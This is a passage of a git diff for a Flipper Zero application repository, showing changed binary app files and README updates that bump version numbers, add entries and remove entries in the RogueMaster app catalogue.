XFW)/RogueMaster/NFC/nfc_playlist.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/nfc_playlist.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap index a17743a1..10da860f 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/picopass.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap index d9120e08..150a3cda 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/seader.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap index adcd5bd5..7f7e020e 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/NFC/tullave.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md b/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md index 21a29482..7457fad7 100644 --- a/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md +++ b/Applications/Custom (UL, RM, XFW)/RogueMaster/README.md @@ -16,23 +16,24 @@ - [Chess Clock (By ihatecsv)](https://github.com/ihatecsv/flipper_chess_clock) - [City Bloxx (By Milk-Cool)](https://github.com/Milk-Cool/fz-citybloxx) - [Color Guess v1.4 (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) -- [Connect Wires v1.0 (By AlexTaran)](https://github.com/AlexTaran/flipperzero) -- [Connect Wires 2 v1.0 (By HappyAmos)](https://github.com/HappyAmos/Flipper_FAPS) +- [Connect Wires v1.2 (By AlexTaran)](https://github.com/AlexTaran/flipperzero) - [Crossy Road v1.0 (By Mikael098)](https://github.com/Mikael098/CrossyRoad-FlipperZero-) - [Dice (RM) Including SEX/WAR/8BALL/WEED/DRINK DICE v2.3 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dice) - [DnD Dice v1.3 (By Ka3u6y6a)](https://github.com/Ka3u6y6a/flipper-zero-dice) - [Doom v1.3 (By p4nic4ttack)](https://github.com/p4nic4ttack/doom-flipper-zero/) (ported and fixed by xMasterX & Svarich & hedger) - [DVD Bounce (By schaene)](https://github.com/schaene/Flipper-DVD-Bounce) +- [DVD Screensaver v1.0 (By shantih19)](https://github.com/shantih19/flipper_dvd_screensaver) - [Etch-A-Sketch (By SimplyMinimal)](https://github.com/SimplyMinimal/FlipperZero-Etch-A-Sketch) - [Five Nights at Flipper's v1.2 (By sillygir1)](https://github.com/sillygir1/flipperzero-fnaf) - [Flappy Bird v1.1 (By DroomOne)](https://github.com/DroomOne/flipperzero-firmware/tree/dev/applications/flappy_bird) [Flappy: Border hitboxes, bigger Pilars (By TQMatvey)](https://github.com/DarkFlippers/unleashed-firmware/pull/114) [Increase pilars line width to improve visibility (By ahumeniy)](https://github.com/DarkFlippers/unleashed-firmware/pull/140) -- [Flipper Hero v1.1 (By mentoster)](https://github.com/mentoster/Flipper-hero) +- [Flipper Hero v1.2 (By mentoster)](https://github.com/mentoster/Flipper-hero) - [Flippy Road v1.0 (By rkilpadi)](https://github.com/rkilpadi/flippy-road) - [Game of Life v1.1 (Updated to work by tgxn) (By itsyourbedtime)](https://github.com/tgxn/flipperzero-firmware/blob/dev/applications/game_of_life/game_of_life.c) - [Guess The Number v1.2 (By kWAYTV)](https://github.com/kWAYTV/guess-the-number-fz) - [Hangman v1.5 (By Evgeny Stepanischev & Eva Stepanischeva)](https://github.com/bolknote/Flipper-Zero-Hangman-Game) [With Anime Dictionary (By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/9f0385f14547be5a3bdbc85323399e8b01b27607) - [Heap Defence v1.2 (By xMasterX)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/fc776446de9fdd553b221c02668b925b689378d8) [(original by wquinoa & Vedmein)](https://github.com/Vedmein/flipperzero-firmware/tree/hd/svisto-perdelki) - [JetPack v1.1 (by timstrasser)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/1164e4d214efa38847e08c6387bf53578bc0d366) +- [KC Line v1.2 (By HappyAmos)](https://github.com/HappyAmos/Flipper_FAPS/tree/master/kcline) - [Mandelbrot Set v1.1 (By Possibly-Matt)](https://github.com/Possibly-Matt/flipperzero-firmware-wPlugins) - [Matagotchi v1.1 (By MrModd)](https://github.com/MrModd/Matagotchi) - [Minesweeper v1.2 (By panki27)](https://github.com/panki27/minesweeper) @@ -44,7 +45,7 @@ - [Paper Plane v1.3 (By Larry-the-Pig)](https://github.com/Larry-the-Pig/flipper-plane) - [Paint v1.1 (By n-o-T-I-n-s-a-n-e)](https://github.com/n-o-T-I-n-s-a-n-e) - [Pong v1.2 (By nmrr)](https://github.com/nmrr/flipperzero-pong) [(Patched By SimplyMinimal)](https://github.com/nmrr/flipperzero-pong/pull/2) -- [Questions v1.0 (By nikilark)](https://github.com/nikilark/flipper_questions) +- [Questions v1.1 (By nikilark)](https://github.com/nikilark/flipper_questions) - [Race v1.1 (By zyuhel)](https://github.com/zyuhel/flipperzero-racegame) - [Reaction Test (By Milk-Cool)](https://github.com/Milk-Cool/fz-reaction-game) - [Reaction Time (By ihatecsv)](https://github.com/ihatecsv/flipper_reaction_time) @@ -62,7 +63,7 @@ - [Solitaire v1.1.4 (By teeebor)](https://github.com/teeebor/flipper_games) - [Sokoban v1.2 (By Racso)](https://github.com/Racso/fzero-apps) - [Space Impact WIP v0.2 (By Ka3u6y6a)](https://github.com/Ka3u6y6a/flipper-zero-space-impact) -- [Sudoku v1.1 (By profelis)](https://github.com/profelis/fz-sudoku) +- [Sudoku v1.2 (By profelis)](https://github.com/profelis/fz-sudoku) - [SUPER-CHIP Emulator (By Milk-Cool)](https://github.com/Milk-Cool/fz-schip) - [T-Rex Runner v1.3 (By Rrycbarm)](https://github.com/Rrycbarm/t-rex-runner) - [TAMA P1: Save State & Layout Update (By DroomOne)](https://github.com/DroomOne/flipperzero-tamagotch-p1) [Original TAMA P1 (By GMMan)](https://github.com/GMMan/flipperzero-firmware/tree/tama-p1) [Mute & Settings (By Round-Pi)](https://github.com/Round-Pi/flipperzero-tamagotch-p1) @@ -86,7 +87,7 @@ - [Analog Clock v1.2 (By scrolltex)](https://github.com/scrolltex/flipper_analog_clock) - [Atomic Dice Roller v1.1 (By nmrr)](https://github.com/nmrr/flipperzero-atomicdiceroller) - [Authenticator/TOTP v5.13.0 (By akopachov)](https://github.com/akopachov/flipper-zero_authenticator) -- [AVR Flasher v1.2 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2475) +- [AVR Flasher v1.3 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2475) - [AZERTY Mouse Jacker (By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) `Req: NRF24` (Uses AZERTY keyboard - Source Unknown) - [Bad KB (Modified PR#738 from pengu1ndev - Original from Willy-JL) #739 (By ESurge)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/739) - [Barcode App v1.2 (By Kingal1337)](https://github.com/Kingal1337/flipper-barcode-generator) @@ -94,13 +95,13 @@ - [Battery Checker (By Programistich)](https://github.com/Programistich/battery_checker) - [BG Loader (By twisted-pear)](https://github.com/twisted-pear/bgloader) - [BlackJack Counter v1.0 (By grugnoymeme)](https://github.com/grugnoymeme/flipperzero-blackjack_counter-fap) -- [BLE Spam v6.2 (By Willy-JL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/Next-Flip/Momentum-Apps/tree/dev/ble_spam) +- [BLE Spam v6.3 (By Willy-JL & ECTO-1A & Spooks4576 with research from xMasterX; OFW API thanks to noproto)](https://github.com/Next-Flip/Momentum-Apps/tree/dev/ble_spam) - [Bluetooth/USB Remote v1.7 (By Cutch)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/1330) [Accelerated Mouse Pointer (By LeeroysHub)](https://github.com/LeeroysHub/flipperzero-firmware-wPlugins/commit/f67680d5b004a72419550a8268802030a8421643) - [BMI Air Mouse v1.1 (By ginkage)](https://github.com/ginkage/FlippAirMouse/) `Req: BMI160` - [BPM Tapper v1.1 (By panki27)](https://github.com/panki27/bpm-tapper) - [Brainfuck v1.2 (By nymda)](https://github.com/nymda/FlipperZeroBrainfuck) - [BT Remote for Kodi v1.1 (Remixed By coded-with-claws)](https://github.com/coded-with-claws/flipperzero-tools/tree/main/applications_user/bt_hid_kodi) -- [BT Trigger (By Nem0oo)](https://github.com/Nem0oo/flipper-zero_ios-bluetooth-trigger) +- [BT Trigger v1.3 (By Nem0oo)](https://github.com/Nem0oo/flipper-zero_ios-bluetooth-trigger) - [Calculator v1.1 (By n-o-T-I-n-s-a-n-e)](https://github.com/n-o-T-I-n-s-a-n-e) - [Calendar (By Adiras)](https://github.com/Adiras/flipperzero-calendar) - [Calendar TECHART v1.0 (By techartdev)](https://github.com/techartdev/Calendar/) @@ -114,9 +115,10 @@ - [Coffee-EEPROM (By wh00hw)](https://github.com/wh00hw/Coffee-EEPROM-FAP) For ethical pentest only. - [Continuity Tester (By benallen-dev)](https://github.com/benallen-dev/flipper-zero-apps/tree/main/continuity) - [Control 7-segment display with Flipper Zero (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) +- [Cookie Clicker v1.1 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/hid/hid_cookie) - [Count Down Timer v1.2 (By 0w0mewo)](https://github.com/0w0mewo/fpz_cntdown_timer) - [Counter v1.3 (By Krulknul)](https://github.com/Krulknul/dolphin-counter) -- [Cross Remote v2.4 (By leedave)](https://github.com/leedave/flipper-zero-cross-remote) +- [Cross Remote v2.5 (By leedave)](https://github.com/leedave/flipper-zero-cross-remote) - [Crypto Dictionary v0.1 (By armixz)](https://github.com/armixz/Flipper-Zero-Crypto-Dictionary) - [Dab Timer v1.9.1 (By RogueMaster)](https://github.com/RogueMaster/flipperzero-dabtimer) - [DAP Link v1.2 (By DrZlo13)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/1897) @@ -147,20 +149,23 @@ - [Evil Portal v0.5 (By bigbrodude6119)](https://github.com/bigbrodude6119/flipper-zero-evil-portal) - [Extend Range (By maede97)](https://github.com/maede97/flipperzero-extend-range) (Allows SubGHz Unlock!) - [EXTRA Demo (By Milk-Cool)](https://github.com/Milk-Cool/EXTRA-demo) (This app has VERY useful functions!) -- [FAP Boilerplate (By leedave)](https://github.com/leedave/flipper-zero-fap-boilerplate) +- [FAP Boilerplate v1.1 (By leedave)](https://github.com/leedave/flipper-zero-fap-boilerplate) - [Financial Calculator v1.0 (By schaene)](https://github.com/schaene/Flipper-Financial-Calculator) -- [FindMy Flipper v2.0 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/FindMyFlipper) +- [FindMy Flipper v3.0 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/FindMyFlipper) - [Flashlight v1.1 (By xMasterX)](https://github.com/xMasterX/flipper-flashlight) - [Flipagotchi WIP (By Matt-London)](https://github.com/Matt-London/pwnagotchi-flipper) -- [FlipBoard Blinky v2.1 (By jamisonderek)](https://github.com/jamisonderek/flipboard) -- [FlipBoard Keyboard v2.0 (By jamisonderek)](https://github.com/jamisonderek/flipboard) -- [FlipBoard Signal v3.1 (By jamisonderek)](https://github.com/jamisonderek/flipboard) -- [FlipBoard Simon v1.1 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- [FlipBoard Blinky v2.2 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- [FlipBoard Keyboard v2.3 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- [FlipBoard Signal v3.2 (By jamisonderek)](https://github.com/jamisonderek/flipboard) +- [FlipBoard Simon v1.3 (By jamisonderek)](https://github.com/jamisonderek/flipboard) - [FlipBIP Crypto Wallet v1.14 (By xtruan)](https://github.com/xtruan/FlipBIP) - [Flipper Aid v1.0 (By spaghety)](https://github.com/spaghety/flipper-aid) +- [Flipper Doctor v0.1 (By julandealb)](https://github.com/julandealb/flipperdoc) - [Flipper Tag v1.0 (By thejudge156)](https://github.com/thejudge156/flippertag) -- [Flizzer Tracker v0.5 (By LTVA1)](https://github.com/LTVA1/flizzer_tracker) +- [FlipperZero Clock v1.1 (By mdaskalov)](https://github.com/mdaskalov/flipperzero-clock) +- [Flizzer Tracker v0.8 (By LTVA1)](https://github.com/LTVA1/flizzer_tracker) - [FM Radio v1.1 (By coolshrimp)](https://github.com/coolshrimp/flipperzero-firmware-wPlugins/tree/420/applications/external/fm_radio) +- [FMF2USBMIDI v0.1 (By crackerjacques)](https://github.com/crackerjacques/Flipper_Zero_FMF2USBMIDI) - [Gas Sensor v0.1 (By iancohee)](https://github.com/iancohee/gas_sensor_fap) `Req: BME680 / SGP30` - [Genie Recorder v3.0 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/subghz/apps/genie-recorder) - [GPIO Badge v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/gpio_badge) @@ -181,27 +186,31 @@ - [IR Remote (By Hong5489)](https://github.com/Hong5489/ir_remote) [Hold Option (By d4ve10)](https://github.com/d4ve10/ir_remote/tree/infrared_hold_option) - [IR Scope (By kallanreed)](https://github.com/kallanreed/unleashed-firmware/tree/dev/applications/external/ir_scope) - [IR Xbox Controller v1.2 (By gebeto)](https://github.com/gebeto/flipper-xbox-controller) -- [J305 Geiger Counter v1.2 (By nmrr)](https://github.com/nmrr/flipperzero-geigercounter) +- [J305 Geiger Counter v1.3 (By nmrr)](https://github.com/nmrr/flipperzero-geigercounter) - [JS Runner v1.0 (By nminaylov & DrZlo13)-OFW](https://github.com/flipperdevices/flipperzero-firmware/pull/3286) +- [LaserCat v1.0 (By DroWez)](https://github.com/DroWez/LaserCat) - [LED Pulsator (By leedave)](https://github.com/leedave/Leeds-Flipper-Zero-Applications) - [Lightmeter v1.2 (By oleksiikutuzov)](https://github.com/oleksiikutuzov/flipperzero-lightmeter) `Req: BH1750/MAX44009` - [Logic Analyzer (By g3gg0)](https://github.com/g3gg0/flipper-logic_analyzer) - [LORA Terminal (By aafksab)](https://github.com/aafksab/LORA-Term) - [MagSpoof (By zacharyweiss)](https://github.com/zacharyweiss/magspoof_flipper) [(Updates By hummusec)](https://github.com/hummusec/magspoof_flipper) Works without NFC. -- [MALVEKE GAME BOY ADVANCE Cartridge v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gba_cartridge) `Req: Malveke` -- [MALVEKE GAME BOY Cartridge (GB/GBC) v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_cartridge) `Req: Malveke` +- [MALVEKE GAME BOY ADVANCE Cartridge v2.2 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gba_cartridge) `Req: Malveke` +- [MALVEKE GAME BOY Cartridge (GB/GBC) v2.2 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_cartridge) `Req: Malveke` - [MALVEKE GAME BOY Emulator v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_emulator) `Req: Malveke` - [MALVEKE GAME BOY Link-Camera v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_link_camera) `Req: Malveke` - [MALVEKE GAME BOY Live Camera v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_live_camera) `Req: Malveke` -- [MALVEKE GB Photo v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_photo) `Req: Malveke` +- [MALVEKE GB Photo v2.3 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_gb_photo) `Req: Malveke` - [MALVEKE PIN Test v2.1 (By EstebanFuentealba)](https://github.com/EstebanFuentealba/MALVEKE-Flipper-Zero/tree/main/flipper_companion_apps/applications/external/malveke_pin_test) `Req: Malveke` - [MAX31855 (By skotopes)](https://github.com/skotopes/flipperzero_max31855) - [Metronome v1.1 (By panki27)](https://github.com/panki27/Metronome) - [MFC Editor v1.0 (By TollyH)](https://github.com/TollyH/flipper-apps) -- [Mfkey v2.0 (By noproto)](https://github.com/noproto/FlipperMfkey) +- [Mfkey v2.2 (By noproto)](https://github.com/noproto/FlipperMfkey) - [MH-Z19 CO2 Sensor v0.2 (By meshchaninov)](https://github.com/meshchaninov/flipper-zero-mh-z19) - [MH-Z19 UART (By skotopes)](https://github.com/skotopes/flipperzero_mhz19_uart) +- [MIDI Ocarina v0.1 (By crackerjacques)](https://github.com/crackerjacques/Flipper_Zero_MIDI_Ocarina) - [Mifare Fuzzer v1.3 (By spheeere98)](https://github.com/spheeere98/mifare_fuzzer) +- [Mitsubishi AC Remote v1.0 (By achistyakov)](https://github.com/achistyakov/flipperzero-mitsubishi-ac-remote) +- [MODBUS v0.1 (By ElectronicCats)](https://github.com/ElectronicCats/flipper-rs485modbus) `Req: Modbus By ElectronicCats` - [Morse Code v1.1 (By wh00hw)](https://github.com/DarkFlippers/unleashed-firmware/pull/144) - [Mouse Jacker v1.2 (By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/mousejacker) ([Pin Out](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/tree/420/applications/mousejacker) from nocomp/Frog/UberGuidoZ) `Req: NRF24` - [Mouse Jacker for MS Mouse v1.1 (Remixed By coded-with-claws)](https://github.com/coded-with-claws/flipperzero-tools/tree/main/applications_user/mousejacker_ms) `Req: NRF24` @@ -213,11 +222,12 @@ - [Mx2125 Dual-Axis Accelerometer (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) - [Mx2125 Step Counter v1.0 (By 47lecoste a.k.a. grugnoymeme)](https://github.com/grugnoymeme/flipperzero-stepcounter-fap) - [Name Changer (By ESurge)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/488) (Change Flipper name) -- [NFC Magic v1.6 (By gornekich)](https://github.com/flipperdevices/flipperzero-firmware/pull/1966) +- [NFC Magic v1.8 (By gornekich)](https://github.com/flipperdevices/flipperzero-firmware/pull/1966) - [NFC Maker v1.2 (by Willy-JL)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/commit/343cb39d08f60b75b537e1a31100707935cf6e9d) -- [NFC Playlist v1.4 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Playlist/tree/main) -- [NFC Seader v2.6 (By bettse)](https://github.com/bettse/seader) +- [NFC Playlist v1.7 (By acegoal07)](https://github.com/acegoal07/FlipperZero_NFC_Playlist/tree/main) +- [NFC Seader v2.7 (By bettse)](https://github.com/bettse/seader) - [Nightstand Clock v1.1 (By nymda)](https://github.com/nymda/FlipperNightStand) +- [Noptel LRF Sampler v1.2 (By Giraut)](https://github.com/Giraut/flipper_zero_noptel_lrf_sampler) - [Notes for FZ WIP (By AdrianN001)](https://github.com/AdrianN001/Flipper-Zero-Note-Application) - [NRF Sniff v1.1 (By mothball187)](https://github.com/mothball187/flipperzero-nrf24/tree/main/nrfsniff) ([Pin Out](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/tree/420/applications/nrfsniff) from nocomp/Frog/UberGuidoZ) `Req: NRF24` - [NRF Sniffer for MS Mouse (Remixed By coded-with-claws)](https://github.com/coded-with-claws/flipperzero-tools/tree/main/applications_user/nrfsniff_ms) `Req: NRF24` @@ -235,19 +245,19 @@ - [Plantower PMSx003 sensor reader v1.2 (By 3cky)](https://github.com/3cky/flipperzero-airmon) `Req: Plantower PMS5003/PMS7003/PMS9003` - [POCSAG Pager v1.2 (By XMasterx & Shmuma)](https://github.com/xMasterX/flipper-pager) - [Pokemon Trading v1.8 (By EstebanFuentealba & kbembedded)](https://github.com/EstebanFuentealba/Flipper-Zero-Game-Boy-Trading-Pokemons) -- [Pomodoro Timer v1.2 (By sbrin)](https://github.com/sbrin/flipperzero_pomodoro) +- [Pomodoro Timer v1.3 (By sbrin)](https://github.com/sbrin/flipperzero_pomodoro) - [Pomodoro 2 v1.3 (By Th3Un1q3)](https://github.com/Th3Un1q3/flipp_pomodoro) - [Programmer Calculator v0.9.2 (By armixz)](https://github.com/armixz/Flipper-Zero-Programmer-Calculator) - [Protocol Visualizer v1.1 (By antirez)](https://github.com/antirez/protoview) - [QR Code v2.0 (By bmatcuk)](https://github.com/bmatcuk/flipperzero-qrcode) -- [Quac! v0.4 (By rdefeo)](https://github.com/rdefeo/quac) +- [Quac! v0.6 (By rdefeo)](https://github.com/rdefeo/quac) - [Radar Scanner v2.0 (By MatthewKuKanich)](https://github.com/MatthewKuKanich/flipper-radar) `Req: RCWL-0516` - [Radiation Sensor (By sionyx)](https://github.com/sionyx/flipper_radsens) `Req: RadSens` - [RC2014 ColecoVision (By ezod)](https://github.com/ezod/flipperzero-rc2014-coleco) - [RCWL-516 Motion Sensor (By ahmedafe1)](https://github.com/ahmedafe1/rcwl_0516-Flipperzero) - [Remote Maker (By gid9798)](https://github.com/DarkFlippers/unleashed-firmware/pull/487) - [Resistance Calculator v1.2 (By instantiator)](https://github.com/instantiator/flipper-zero-experimental-apps) -- [Restaurant Pager Trigger v1.4 (By leedave)](https://github.com/leedave/flipper-zero-meal-pager) +- [Restaurant Pager Trigger v1.6 (By leedave)](https://github.com/leedave/flipper-zero-meal-pager) - [RFID Beacon (By nmrr)](https://github.com/nmrr/flipperzero-rfidbeacon) - [RFID Detector v1.2 (By Skorpionm)](https://github.com/flipperdevices/flipperzero-firmware/pull/2795) - [RFID Fuzzer v1.3 (By gid9798)](https://github.com/DarkFlippers/unleashed-firmware/pull/507) [(Original By Ganapati)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/245) @@ -266,7 +276,7 @@ - [Spectrum Analyzer v1.2 (By jolcese)](https://github.com/jolcese/flipperzero-firmware/tree/spectrum/applications/spectrum_analyzer) [Updates (for testing) Thanks to theY4Kman](https://github.com/theY4Kman/flipperzero-firmware) - [Spotify Remote v0.1 (By benjamindrussell)](https://github.com/benjamindrussell/flipper-spotify-remote) `Req: ESP32` with [ESP32 Spotify Remote](https://github.com/benjamindrussell/esp32-spotify-remote) - [SPI Mem Manager v1.3 (By drunkbatya)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/spi_mem_manager) -- [Sub-GHz Bruteforcer v3.11.1 (By Ganapati/xMasterX/derskythe)](https://github.com/derskythe/flipperzero-subbrute/tree/master) +- [Sub-GHz Bruteforcer v3.11.3 (By Ganapati/xMasterX/derskythe)](https://github.com/derskythe/flipperzero-subbrute/tree/master) - [Sub-GHz Playlist (By darmiel)](https://github.com/darmiel/flipper-playlist) - [Sub-GHz Remote (Refactored) + Configurator v1.3 (By gid9798)](https://github.com/DarkFlippers/SubGHz_Remote) [(Merged Into One By ESurge)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/655) - Previously: [(By ESurge)](https://github.com/ESurge/flipperzero-firmware-unirfremix) [(Original By jimilinuxguy)](https://github.com/jimilinuxguy/flipperzero-universal-rf-remote/tree/028d615c83f059bb2c905530ddb3d4efbd3cbcae/applications/jukebox) - [Sub-GHz Rolling Flaws v1.5 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials) @@ -294,8 +304,8 @@ - [Wardriver GPS v1.0 (By Sil333033)](https://github.com/Next-Flip/Momentum-Apps/tree/dev/wardriver) - [WAV Player v1.1 (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) Updated by Atmanos & RogueMaster To Work. [Updated by xMasterX](https://github.com/DarkFlippers/unleashed-firmware/commit/76d3f84a5eb069b749e3ad20df6fdbbc785eb253) - [WAV Recorder (By scrolltex)](https://github.com/scrolltex/flipper-wav-recorder) -- [WHC SWIO Flasher v1.0 (By sukvojte)](https://github.com/sukvojte/wch_swio_flasher) -- [Weather Station v1.5 (By Skorpionm)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/weather_station) +- [WHC SWIO Flasher v1.1 (By sukvojte)](https://github.com/sukvojte/wch_swio_flasher) +- [Weather Station v1.7 (By Skorpionm)-OFW](https://github.com/flipperdevices/flipperzero-good-faps/tree/dev/weather_station) - [Wiegand Reader v1.3 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio) - [WiFi (Deauther) V2 (By Timmotools)](https://github.com/Timmotools/flipperzero_esp8266_deautherv2) `Req: ESP8266` - [WiFi (Marauder) v0.7.1 (By 0xchocolate & tcpassos)](https://github.com/0xchocolate/flipperzero-firmware-with-wifi-marauder-companion) `Req: ESP32 WITH MARAUDER FLASHED` [ESP32 MARAUDER Firmware](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) @@ -304,7 +314,7 @@ - [Wire Tester v1.1 (By unixispower)](https://gitlab.com/unixispower/flipper-wire-tester) - [WS2812B LED Tester v1.9 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/gpio/ws2812b_tester) - [XRemote v1.3 (By kala13x)](https://github.com/kala13x/flipper-xremote) -- [YuriCable Pro Max v0.3 (By arag0re)](https://github.com/arag0re/fz-yuricable-pro-max) +- [YuriCable Pro Max v0.4 (By arag0re)](https://github.com/arag0re/fz-yuricable-pro-max) ## COMMENTED OUT / NOT COMPILED DUE TO ISSUES @@ -312,7 +322,6 @@ - [APRS Cln Hello World (By NSV47)](https://github.com/NSV47/APRS_hello_world_clean) - [BT Serial (By maybe-hello-world)](https://github.com/maybe-hello-world/fbs) - [BT Toy Serial (By maybe-hello-world)](https://github.com/maybe-hello-world/flipper-bp) -- [Cookie Clicker v1.0 (By jamisonderek)](https://github.com/jamisonderek/flipper-zero-tutorials/tree/main/hid/hid_cookie) - [NFC Relay WIP (By leommxj)](https://github.com/leommxj/nfc_relay) - [SCD30 Carbon Dioxide Sensor (By heimskr)](https://github.com/heimskr/flipperzero-scd30) - [TAS Playback (By rcombs)](https://github.com/rcombs/tas-playback) @@ -329,4 +338,4 @@ - [Desktop Favorite Binds To Allow Opening Custom Game Menu. Whomever can complete this gets 3 months of subscriber builds. Patrons can DM me to add their monthly towards this bounty.](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/pull/756) - `Bluetooth Audio` APP to allow flipper to pair to external speaker or headphones for wav/mp3 playback ($200 USD in ETH or BTC) (Don't think this is possible) -# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0321-1526-0.99.2-e78d0d7.tgz&channel=RM0321-1526-0.99.2-e78d0d7&version=0.99.2) +# Install GitHub Version With [WEB INSTALLER](https://lab.flipper.net/?url=https%3A%2F%2Frogue-master.net%2F%3Ffile%3DRM0417-0550-0.100.4-b199163.tgz&channel=RM0417-0550-0.100.4-b199163&version=0.100.4) diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap index 4e0198f3..9a7520b5 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77_clock_sync.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77_clock_sync.fap index 5cb8a9b8..895f0a57 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77_clock_sync.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/dcf77_clock_sync.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap index 5a090386..3b266205 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/em4100_key_generator.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap index 04e983dd..51124a7d 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap and b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/lfrfid.fap differ diff --git a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/nfc_rfid_detector.fap b/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/nfc_rfid_detector.fap index 288e2fba..8cb1d490 100644 Binary files a/Applications/Custom (UL, RM, XFW)/RogueMaster/RFID/nfc_rfid_detector.fap and b/Applications/Custom (UL, RM, 